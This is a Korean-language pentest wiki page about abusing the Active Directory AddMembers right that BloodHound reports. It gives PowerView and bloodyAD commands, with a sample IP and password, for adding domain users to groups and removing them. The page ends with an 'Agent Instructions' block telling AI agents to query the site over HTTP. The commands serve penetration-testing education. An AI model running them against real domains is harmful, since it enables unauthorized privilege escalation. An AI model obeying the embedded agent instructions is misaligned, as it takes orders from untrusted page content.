# AddMembers

도메인 그룹에 대해 Write Members 권한을 가졌다면 블러드하운드에서 AddMembers로 표시됩니다. AddSelf는 스스로를 그룹에 추가/제거할 수 있는 권한인 반면, AddMembers는 다른 사용자를 그룹에 추가/제거할 수 있습니다.

<figure><img src="/files/0FxDgg2waspEINefVvrQ" alt=""><figcaption></figcaption></figure>

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># 개체 정보 변수화
</strong>$pwd = ConvertTo-SecureString &#x3C;PASS> -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential(&#x3C;DOMAIN\USER>, $pwd)

<strong># 그룹에 사용자 추가
</strong>Add-DomainGroupMember -Credential $creds -Identity &#x3C;Group> -Members &#x3C;USER> -Verbose

<strong># 그룹 사용자 조회
</strong>Get-DomainGroupMember -Identity &#x3C;Group> | Select &#x3C;USER>

<strong># 그룹에 사용자 삭제
</strong>Remove-DomainGroupMember -Credential $Cred
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

<pre class="language-bash"><code class="lang-bash"><strong># 그룹에 멤버 추가/삭제
</strong>bloodyAD --host 192.168.1.11 -u user-A -p 'Password123!' add groupMember local-member user-B
bloodyAD --host 192.168.1.11 -u user-A -p 'Password123!' remove groupMember local-member user-B
</code></pre>

{% endtab %}
{% endtabs %}

## References

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/addmember>" %}

{% embed url="<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/active-directory/dacl/addmembers.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
